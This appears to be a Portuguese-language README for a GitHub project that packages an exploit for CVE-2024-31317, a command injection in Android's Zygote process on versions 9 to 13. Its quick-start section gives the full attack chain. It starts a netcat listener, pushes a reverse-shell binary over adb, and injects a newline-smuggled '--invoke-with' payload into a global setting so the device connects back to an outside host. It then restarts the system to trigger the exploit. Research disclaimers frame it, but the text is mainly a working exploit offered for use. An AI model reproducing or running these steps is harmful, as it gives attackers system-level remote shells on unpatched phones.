CVE-2024-31317 Deployer

🔒 Declaração de Pesquisa de Segurança

Este projeto é destinado exclusivamente para fins de pesquisa e educação em segurança. Usar esta ferramenta para testes não autorizados é ilegal. O autor não se responsabiliza por qualquer uso indevido ou dano.

📋 Visão Geral

CVE-2024-31317 é uma vulnerabilidade de segurança grave que afeta dispositivos Android 9 a Android 13, permitindo que aplicativos com permissão WRITE_SECURE_SETTINGS obtenham execução em nível de sistema por meio de injeção de comandos.

Este projeto fornece uma análise técnica detalhada da vulnerabilidade, código de prova de conceito e ferramentas de implantação automatizadas.

✨ Principais Características

• 📱 Suporte para Android 9-13 em todas as versões
• 🛠️ Scripts de implantação automatizados
• 🔄 Conexão reversa de shell
• 📊 Documentação técnica detalhada
• 🎯 Design modular

🐛 Detalhes da Vulnerabilidade

• CVE ID: CVE-2024-31317
• Tipo de Vulnerabilidade: Injeção de Comandos
• Nível de Gravidade: Alto (High)
• Pontuação CVSS: 7.8
• Componente Afetado: Processo Zygote do Android
• Estado da Correção: Já corrigido no patch de segurança de junho de 2024 do Android

🎯 Escopo de Impacto

Versões Afetadas

• ✅ Android 9-13

Versões Não Afetadas

• ❌ Android 14+ (corrigido)
• ❌ Dispositivos com patch de segurança de junho de 2024 ou mais recente

📁 Estrutura do Projeto

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 Início Rápido

1. Clonar o Projeto

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Compilar o Payload

chmod +x compile.sh
./compile.sh

3. Implantar

# Iniciar o listener
nc -lvnp 4444

# Enviar e executar
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# Injetar o payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# Acionar a vulnerabilidade
adb shell stop && adb shell start

📚 Documentação

• Análise Técnica Aprofundada
• Instruções de Uso do Payload
• Tutorial Completo

⚠️ Aviso de Isenção de Responsabilidade

Este projeto é exclusivamente para fins de pesquisa e educação em segurança. Ao usar esta ferramenta, você concorda:

• Cumprir todas as leis e regulamentos aplicáveis
• Utilizá-la apenas para pesquisas de segurança legítimas
• Assumir total responsabilidade por suas ações

📜 Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para mais detalhes

👨‍💻 Autor

fcy10012 - GitHub

🙏 Agradecimentos

Projeto de referência: WebLDix/CVE-2024-31317-PoC-Deployer

---

⭐ Se este projeto foi útil para você, dê uma estrela!